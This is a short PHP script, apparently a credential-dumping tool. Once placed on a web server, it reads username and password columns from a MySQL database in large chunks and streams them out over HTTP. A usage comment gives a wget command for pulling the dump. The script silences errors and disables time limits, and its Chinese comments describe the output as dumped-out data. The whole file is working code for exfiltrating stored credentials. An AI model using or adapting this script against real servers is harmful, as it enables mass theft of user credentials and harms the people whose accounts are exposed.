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63 lines
2 KiB
Text
63 lines
2 KiB
Text
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<?php
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//author: By Gavin
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//Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql
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error_reporting(0);
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ignore_user_abort();
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set_time_limit(0);
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ob_clean();
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//配置数据库信息
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$DB_Server="127.0.0.1:3306";
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$DB_User="root";
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$DB_Pass="root";
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$DB_Name="DBName";
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//分段每次limit查询出来的条数,根据实际情况调整，默认为2w
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$max_limit_num = 20000;
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//最大缓存条数，防止占用过多内存，根据每条数据大小调整
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$max_cache_num = 5000;
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$gavin_start_num = intval($_GET['sn']); //接收起始条数
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$gavin_end_num = intval($_GET['en']); //接收结束条数
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if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']); //接收每次分段查询的条数
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$gavin_down_num = intval($gavin_end_num - $gavin_start_num); //计算总下载条数
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if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
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$beishu = intval($gavin_down_num/$max_limit_num);
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$yushu = intval($gavin_down_num%$max_limit_num);
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$conn=@mysql_connect($DB_Server,$DB_User,$DB_Pass);
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if ($conn==FALSE) {
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echo "数据库连接出错!<br>";
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exit();
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}
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if (@mysql_select_db($DB_Name,$conn)==FALSE) {
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echo "打开数据库:".$DB_Name." 失败!";
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exit();
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}
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mysql_query("set names 'utf8'");
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$num = 1;
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$out_put_str = '';
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if (ob_get_level() == 0) ob_start();
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for ($i=0;$i<$beishu;$i++){
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$new_start_num = $i*$max_limit_num+$gavin_start_num;
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if ($i == ($beishu-1)) $max_limit_num += $yushu;
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$sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //配置SQL语句
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$res = mysql_query($sql) or die(mysql_error());
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while($result = mysql_fetch_array($res))
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{
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$num ++;
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$out_put_str = $result["username"]."-->".$result["password"]."\n"; //格式化脱出的数据,根据SQL中的字段调整
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if ($num >= $max_cache_num){
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@ob_end_flush();
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$num = 0;
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}
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echo $out_put_str;
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// unset($out_put_str);
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}
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}
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?>
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